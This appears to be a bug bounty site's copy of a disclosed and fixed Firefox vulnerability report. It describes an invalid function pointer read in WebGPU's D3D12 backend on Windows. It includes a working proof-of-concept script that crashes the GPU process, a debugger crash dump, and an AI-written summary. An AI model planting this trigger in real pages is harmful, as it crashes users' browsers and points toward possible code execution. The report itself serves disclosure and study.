WebGPU - Invalid function pointer in `wgpu_hal` in GPU Process using D3D on Windows
A crafted HTML page using WebGPU can cause an invalid function pointer read in the D3D12 backend of wgpu_hal, leading to a crash in the GPU process. The reporter suggests this could potentially be exploited to execute arbitrary code in the GPU process.
Originally disclosed on Mozilla
- Fixed in 26 days
- Paid in 30 days
- Disclosed after 26 days
Created attachment 9340861
InvalidFunPointer_wgpu_hal_PoC.html
VULNERABILITY DETAILS
Specifically crafted HTML file can trigger Invalid function pointer read in wgpu_hal in D3D backend. This bug has the potential to be exploited to execute arbitrary code in the GPU process.
Open the PoC (InvalidFunPointer_wgpu_hal_PoC.html) in Firefox.
The PoC can cause faulty interactions between Gecko and D3D libraries, and ultimately lead to Invalid function pointer read in xul!wgpu_hal::dx12::instance::impl$1::enumerate_adapters::closure.
The crash happens at the following instruction which tries to read from meomry address rax and assign it back to rax.
D3D12Core!CLayeredObject<CDevice>::CContainedObject::QueryInterface+0x18:
00007ff9`f1257d98 488b00 mov rax,qword ptr [rax] ds:00007ffa`3fe75000=????????????????
The next instruction is a virtual function call:
0:096> u
D3D12Core!CLayeredObject<CDevice>::CContainedObject::QueryInterface+0x18:
00007ff9`f1257d98 488b00 mov rax,qword ptr [rax]
00007ff9`f1257d9b ff15b73c1400 call qword ptr [D3D12Core!_guard_xfg_dispatch_icall_fptr (00007ff9`f139ba58)]
The RAX registers would store the address to jump to. So the invalid memory access happens when it tries to read a function pointer from an invalid memory location.
From this point of view, this bug has the potential of being exploited to execute arbitrary code in the GPU process.
VERSION
Firefox 116.0a1 (2023-06-24) (64-bit)
OS Windows 11 Home 22H2 (Build 22621.1848)
REPRODUCTION CASE (InvalidFunPointer_wgpu_hal_PoC.html. if it does not repro after running it for 10 seconds or so, try opening it in a new tab.)
<script>
navigator.gpu.requestAdapter().then((adapter)=>{adapter.requestDevice().then((val)=>{ setTimeout(function(){location.reload();},200); });});
</script>
Type of crash: gpu process
Crash State:
(1144.38ec): Access violation - code c0000005 (!!! second chance !!!)
D3D12Core!CLayeredObject<CDevice>::CContainedObject::QueryInterface+0x18:
00007ff9`f1257d98 488b00 mov rax,qword ptr [rax] ds:00007ffa`3fe75000=????????????????
0:096> r
rax=00007ffa3fe75000 rbx=000000000000f914 rcx=0000020fcdac62b0
rdx=000000209180cf30 rsi=0000020fcdac6880 rdi=0000000000000000
rip=00007ff9f1257d98 rsp=000000209180cb60 rbp=000000209180ce10
r8=000000209180d0d0 r9=0000000000000018 r10=dee01e7974d59970
r11=8882222222220020 r12=0000000000000001 r13=00007ffa4f8b5108
r14=000000209180d0d0 r15=0000000000000000
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010204
D3D12Core!CLayeredObject<CDevice>::CContainedObject::QueryInterface+0x18:
00007ff9`f1257d98 488b00 mov rax,qword ptr [rax] ds:00007ffa`3fe75000=????????????????
0:096> dv
Unable to enumerate locals, Win32 error 0n87
Private symbols (symbols.pri) are required for locals.
Type ".hh dbgerr005" for details.
0:096> k
# Child-SP RetAddr Call Site
00 00000020`9180cb60 00007ff9`f1260d80 D3D12Core!CLayeredObject<CDevice>::CContainedObject::QueryInterface+0x18
01 00000020`9180cb90 00007ff9`f12623d6 D3D12Core!D3D12CoreCreateDevice+0x30c
02 00000020`9180cdb0 00007ffa`4f8a6a4d D3D12Core!D3D12ValidateAndCreateDevice+0x146
03 00000020`9180ce30 00007ffa`4f8a668e d3d12!D3D12CreateDeviceImpl+0x5d
04 00000020`9180ce80 00007ff9`e86d3ee9 d3d12!D3D12CreateDevice+0xae
05 (Inline Function) --------`-------- xul!wgpu_hal::dx12::instance::impl$1::enumerate_adapters::closure$0+0x218 [/builds/worker/checkouts/gecko/third_party/rust/wgpu-hal/src/dx12/instance.rs @ 113]
06 (Inline Function) --------`-------- xul!core::ops::function::impls::impl$3::call_mut+0x218 [/rustc/84c898d65adf2f39a5a98507f1fe0ce10a2b8dbc\library\core\src\ops\function.rs @ 298]
07 (Inline Function) --------`-------- xul!core::iter::traits::iterator::Iterator::find_map::check::closure$0+0x218 [/rustc/84c898d65adf2f39a5a98507f1fe0ce10a2b8dbc\library\core\src\iter\traits\iterator.rs @ 2795]
08 (Inline Function) --------`-------- xul!core::iter::traits::iterator::Iterator::try_fold+0x250 [/rustc/84c898d65adf2f39a5a98507f1fe0ce10a2b8dbc\library\core\src\iter\traits\iterator.rs @ 2299]
09 (Inline Function) --------`-------- xul!core::iter::traits::iterator::Iterator::find_map+0x250 [/rustc/84c898d65adf2f39a5a98507f1fe0ce10a2b8dbc\library\core\src\iter\traits\iterator.rs @ 2801]
0a 00000020`9180cf00 00007ff9`e87087c0 xul!core::iter::adapters::filter_map::impl$2::next<wgpu_hal::ExposedAdapter<wgpu_hal::dx12::Api>,alloc::vec::into_iter::IntoIter<enum2$<d3d12::dxgi::DxgiAdapter>,alloc::alloc::Global>,wgpu_hal::dx12::instance::impl$1::enumerate_adapters::closure_env$0>+0x279 [/rustc/84c898d65adf2f39a5a98507f1fe0ce10a2b8dbc\library\core\src\iter\adapters\filter_map.rs @ 61]
0b (Inline Function) --------`-------- xul!alloc::vec::spec_from_iter_nested::impl$0::from_iter+0x8 [/rustc/84c898d65adf2f39a5a98507f1fe0ce10a2b8dbc\library\alloc\src\vec\spec_from_iter_nested.rs @ 26]
0c (Inline Function) --------`-------- xul!alloc::vec::in_place_collect::impl$1::from_iter+0x1f [/rustc/84c898d65adf2f39a5a98507f1fe0ce10a2b8dbc\library\alloc\src\vec\in_place_collect.rs @ 167]
0d (Inline Function) --------`-------- xul!alloc::vec::impl$15::from_iter+0x1f [/rustc/84c898d65adf2f39a5a98507f1fe0ce10a2b8dbc\library\alloc\src\vec\mod.rs @ 2724]
0e (Inline Function) --------`-------- xul!core::iter::traits::iterator::Iterator::collect+0x1f [/rustc/84c898d65adf2f39a5a98507f1fe0ce10a2b8dbc\library\core\src\iter\traits\iterator.rs @ 1891]
0f 00000020`9180d290 00007ff9`e8094ec3 xul!wgpu_hal::dx12::instance::impl$1::enumerate_adapters+0x70 [/builds/worker/checkouts/gecko/third_party/rust/wgpu-hal/src/dx12/instance.rs @ 115]
10 00000020`9180d510 00007ff9`e667c064 xul!wgpu_bindings::server::wgpu_server_instance_request_adapter+0x383 [/builds/worker/checkouts/gecko/gfx/wgpu_bindings/src/server.rs @ 158]
11 00000020`9180ecc0 00007ff9`e6686d8a xul!mozilla::webgpu::WebGPUParent::RecvInstanceRequestAdapter+0xb4 [/builds/worker/checkouts/gecko/dom/webgpu/ipc/WebGPUParent.cpp @ 295]
12 00000020`9180efb0 00007ff9`e5bece92 xul!mozilla::webgpu::PWebGPUParent::OnMessageReceived+0x394a [/builds/worker/workspace/obj-build/ipc/ipdl/PWebGPUParent.cpp @ 662]
13 00000020`9180f170 00007ff9`e4d9a200 xul!mozilla::gfx::PCanvasManagerParent::OnMessageReceived+0x172 [/builds/worker/workspace/obj-build/ipc/ipdl/PCanvasManagerParent.cpp @ 214]
14 (Inline Function) --------`-------- xul!mozilla::ipc::MessageChannel::DispatchAsyncMessage+0x71 [/builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp @ 1811]
15 (Inline Function) --------`-------- xul!mozilla::ipc::MessageChannel::DispatchMessage+0x33c [/builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp @ 1736]
16 00000020`9180f220 00007ff9`e4b68b35 xul!mozilla::ipc::MessageChannel::RunMessage+0x440 [/builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp @ 1536]
17 00000020`9180f590 00007ff9`e4ae5186 xul!mozilla::ipc::MessageChannel::MessageTask::Run+0x95 [/builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp @ 1643]
18 00000020`9180f5e0 00007ff9`e4ae3d31 xul!nsThread::ProcessNextEvent+0x1096 [/builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp @ 1194]
19 (Inline Function) --------`-------- xul!NS_ProcessNextEvent+0x29 [/builds/worker/checkouts/gecko/xpcom/threads/nsThreadUtils.cpp @ 479]
1a 00000020`9180f980 00007ff9`e3c1e27f xul!mozilla::ipc::MessagePumpForNonMainThreads::Run+0x111 [/builds/worker/checkouts/gecko/ipc/glue/MessagePump.cpp @ 300]
1b (Inline Function) --------`-------- xul!MessageLoop::RunInternal+0x16 [/builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc @ 370]
1c 00000020`9180fa30 00007ff9`e325f6fe xul!MessageLoop::RunHandler+0x2f [/builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc @ 364]
1d 00000020`9180fa80 00007ff9`e3a67562 xul!MessageLoop::Run+0x4e [/builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc @ 346]
1e 00000020`9180fae0 00007ffa`3c4e739d xul!nsThread::ThreadFunc+0xe2 [/builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp @ 393]
1f 00000020`9180fcb0 00007ffa`3c569b31 nss3!_PR_NativeRunThread+0x13d [/builds/worker/checkouts/gecko/nsprpub/pr/src/threads/combined/pruthr.c @ 421]
20 00000020`9180fd20 00007ffa`6b599363 nss3!pr_root+0x11 [/builds/worker/checkouts/gecko/nsprpub/pr/src/md/windows/w95thred.c @ 140]
21 00000020`9180fd50 00007ffa`6b6a26ad ucrtbase!thread_start<unsigned int (__cdecl*)(void *),1>+0x93
22 00000020`9180fd80 00007ffa`3c7b3bf8 KERNEL32!BaseThreadInitThunk+0x1d
23 (Inline Function) --------`-------- mozglue!mozilla::interceptor::FuncHook<mozilla::interceptor::WindowsDllInterceptor<mozilla::interceptor::VMSharingPolicyShared>,void (*)(int, void *, void *)>::operator()+0x15 [/builds/worker/checkouts/gecko/toolkit/xre/dllservices/mozglue/nsWindowsDllInterceptor.h @ 150]
24 00000020`9180fdb0 00007ffa`6d90a9f8 mozglue!patched_BaseThreadInitThunk+0x28 [/builds/worker/checkouts/gecko/toolkit/xre/dllservices/mozglue/WindowsDllBlocklist.cpp @ 617]
25 00000020`9180fe20 00000000`00000000 ntdll!RtlUserThreadStart+0x28
CREDIT INFORMATION
Reporter credit: Looben Yang
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a memory corruption or lifetime issue in the interaction between Firefox's WebGPU implementation and the D3D12 library, leading to an invalid function pointer being read during adapter enumeration.
Impact
The bug could potentially be exploited to execute arbitrary code in the GPU process, though only a crash is demonstrated.
What the attacker needed
Firefox on Windows with WebGPU enabled; Victim opens a malicious HTML page
How it was found
- Open the provided HTML file in Firefox.
- If it does not reproduce after about 10 seconds, try opening it in a new tab.
- The page requests a GPU adapter and device, then reloads itself repeatedly.
- This triggers a crash in the GPU process due to an invalid function pointer read.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A web page can ask the browser to use the graphics card through a feature called WebGPU. In this case, a bug in how Firefox talks to the Windows graphics library (D3D) causes the browser's graphics process to crash. The reporter thinks a clever attacker might turn this crash into running their own code, but that has not been shown.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.